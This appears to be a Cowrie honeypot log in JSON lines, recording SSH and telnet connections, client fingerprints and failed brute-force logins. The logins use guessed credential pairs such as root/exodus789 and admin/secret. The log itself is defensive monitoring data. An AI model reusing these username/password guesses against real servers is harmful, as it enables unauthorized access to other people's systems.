{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:47.362579Z","src_ip":"68.207.224.247","session":"afdc93f05167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":51150,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5581b0e2fe1","protocol":"ssh","message":"New connection: 154.16.115.34:51150 (10.17.0.5:22) [session: f5581b0e2fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:48.245354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:48.249456Z","src_ip":"154.16.115.34","session":"f5581b0e2fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:48.275279Z","src_ip":"154.16.115.34","session":"f5581b0e2fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"exodus789","message":"login attempt [root/exodus789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:48.354519Z","src_ip":"154.16.115.34","session":"f5581b0e2fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:49.382403Z","src_ip":"154.16.115.34","session":"f5581b0e2fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":58650,"dst_ip":"10.17.0.5","dst_port":22,"session":"38ac564a02f0","protocol":"ssh","message":"New connection: 154.116.254.157:58650 (10.17.0.5:22) [session: 38ac564a02f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:49.833170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:49.837237Z","src_ip":"154.116.254.157","session":"38ac564a02f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:50.006282Z","src_ip":"154.116.254.157","session":"38ac564a02f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":35010,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5063d2fc787","protocol":"ssh","message":"New connection: 122.176.122.24:35010 (10.17.0.5:22) [session: f5063d2fc787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:50.043592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:50.047312Z","src_ip":"122.176.122.24","session":"f5063d2fc787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:50.319714Z","src_ip":"122.176.122.24","session":"f5063d2fc787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz112233","message":"login attempt [root/Qaz112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:50.706321Z","src_ip":"154.116.254.157","session":"38ac564a02f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"secret","message":"login attempt [admin/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:51.442946Z","src_ip":"122.176.122.24","session":"f5063d2fc787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44780,"dst_ip":"159.203.135.109","dst_port":23,"session":"1675eb6e2fce","protocol":"telnet","message":"New connection: 170.64.224.25:44780 (159.203.135.109:23) [session: 1675eb6e2fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:51.485302Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:51.875677Z","src_ip":"154.116.254.157","session":"38ac564a02f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:52.717019Z","src_ip":"122.176.122.24","session":"f5063d2fc787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44788,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cdff257b854","protocol":"telnet","message":"New connection: 170.64.224.25:44788 (159.203.135.109:23) [session: 0cdff257b854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:53.778672Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":37200,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0aac8f388fc","protocol":"ssh","message":"New connection: 164.92.161.148:37200 (10.17.0.5:22) [session: d0aac8f388fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:02.510585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:02.515955Z","src_ip":"164.92.161.148","session":"d0aac8f388fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:02.636791Z","src_ip":"164.92.161.148","session":"d0aac8f388fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chris","message":"login attempt [root/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:03.039899Z","src_ip":"164.92.161.148","session":"d0aac8f388fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":52254,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f0ed7b1a89b","protocol":"ssh","message":"New connection: 139.59.208.49:52254 (10.17.0.5:22) [session: 5f0ed7b1a89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:03.662547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:03.666683Z","src_ip":"139.59.208.49","session":"5f0ed7b1a89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:03.748209Z","src_ip":"139.59.208.49","session":"5f0ed7b1a89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"12345678","message":"login attempt [testing/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:04.111723Z","src_ip":"139.59.208.49","session":"5f0ed7b1a89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:04.135547Z","src_ip":"164.92.161.148","session":"d0aac8f388fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:05.196682Z","src_ip":"139.59.208.49","session":"5f0ed7b1a89b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":51332,"dst_ip":"159.203.135.109","dst_port":22,"session":"29b7f1b9e369","protocol":"ssh","message":"New connection: 103.199.16.90:51332 (159.203.135.109:22) [session: 29b7f1b9e369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:08.350563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:08.355768Z","src_ip":"103.199.16.90","session":"29b7f1b9e369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:08.582939Z","src_ip":"103.199.16.90","session":"29b7f1b9e369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"krd","password":"123456","message":"login attempt [krd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:09.473993Z","src_ip":"103.199.16.90","session":"29b7f1b9e369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:10.705833Z","src_ip":"103.199.16.90","session":"29b7f1b9e369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":55292,"dst_ip":"10.17.0.5","dst_port":22,"session":"a631b70131b0","protocol":"ssh","message":"New connection: 23.88.42.180:55292 (10.17.0.5:22) [session: a631b70131b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:22.077382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:22.081092Z","src_ip":"23.88.42.180","session":"a631b70131b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:22.176423Z","src_ip":"23.88.42.180","session":"a631b70131b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bittrex","password":"bittrex321","message":"login attempt [bittrex/bittrex321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:22.467014Z","src_ip":"23.88.42.180","session":"a631b70131b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:23.565284Z","src_ip":"23.88.42.180","session":"a631b70131b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.20475888252258,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:33.689919Z","src_ip":"170.64.224.25","session":"1675eb6e2fce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":51958,"dst_ip":"159.203.135.109","dst_port":22,"session":"56d712980dac","protocol":"ssh","message":"New connection: 113.161.222.150:51958 (159.203.135.109:22) [session: 56d712980dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:36.483893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:36.486874Z","src_ip":"113.161.222.150","session":"56d712980dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:36.727217Z","src_ip":"113.161.222.150","session":"56d712980dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:37.716023Z","src_ip":"113.161.222.150","session":"56d712980dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:38.957080Z","src_ip":"113.161.222.150","session":"56d712980dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":36894,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee8d8d3608e5","protocol":"ssh","message":"New connection: 103.97.101.25:36894 (159.203.135.109:22) [session: ee8d8d3608e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:44.092196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:44.095742Z","src_ip":"103.97.101.25","session":"ee8d8d3608e5","protocol":"ssh"}
